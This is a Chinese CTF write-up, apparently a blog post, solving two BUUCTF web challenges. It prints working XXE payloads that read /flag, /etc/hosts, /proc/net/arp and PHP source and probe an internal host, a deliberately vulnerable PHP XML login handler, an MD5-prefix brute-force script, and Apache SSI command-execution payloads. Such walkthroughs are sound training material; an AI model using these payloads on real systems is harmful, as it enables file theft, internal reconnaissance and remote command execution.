BUUCTF 31

知识点

31-1 [NCTF2019]True XML cookbook

做题思路

打开题目后发现一段代码,审计代码

发现一个文件 doLogin.php 需要用POST传输 输入得到

又是不懂的,没有头绪,又回想起来这个界面好像见过,发现和之前的一道XXE漏洞的题目类似,然而不会

由WP得知 是由 可以得知是XXE漏洞

先拿XXE漏洞poc读/flag

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
  <username>&file;</username>
  <password>hack</password>
</user>

flag并不在这里,那用PHP伪协议读一下 doLogin.php 文件 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./doLogin.php">
 ]>
<user><username>&xxe;</username><password>&xxe;</password></user>

得到 

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

没啥用,原来xxe利用的方式还有许多,比如下面就要用到的,访问内网中的主机,先使用file读取etc/hosts的内容,这payload为

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
 <!ENTITY xxe SYSTEM "file:///etc/hosts">
 ]>
<user><username>&xxe;</username><password>&xxe;</password></user>

响应内容为

看起来就像win里面的hosts一样,应该是为了相同的目的

再读取另一个关键文件: /proc/net/arp

payload为

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
 <!ENTITY xxe SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&xxe;</username><password>&xxe;</password></user>

 响应内容为

给了两个ip但是哪个才是存活ip,据wp最后都是11,试了之后还是没出来,可能是哪一步错了吧,最后没得到flag

最后再试了一下,出来了,看来是之前有问题

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
 <!ENTITY xxe SYSTEM "http://10.85.192.11">
 ]>
<user><username>&xxe;</username><password>&xxe;</password></user>

 

31-2 [BJDCTF2020]EasySearch

做题思路

尝试登陆了一下

这题完全没有思路,除了扫描目录,可是我并不会

寻找WP

用御剑扫描到了index.php.swp

进去是一段源代码

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
    ***
    }
    ***

在这里插入图片描述

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。

 

首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:

import hashlib

for i in range(1, 100000000):
    res = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if res[:6] == '6d0bc1':
        print(i, res)

运行程序,得到结果: 

在这里插入图片描述

尝试使用 2020666 作为密码登陆,并使用 burpsuite 抓包

发现一个文件 Url_is_here: public/74bfe34b339a9de8d46a3b4654bb25a385fdf43d.shtml 访问该文件

回显了用户名,经WP知道是Apache SSI 远程命令执行漏洞 详情可见

题目中 username 被写入了 shtml 文件,所以将其值修改为:

<!--#exec cmd="ls"-->

当前目录没有flag,回退一下:

payload:

<!--#exec cmd="cd ../;ls"-->

查看文件 shtml,得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值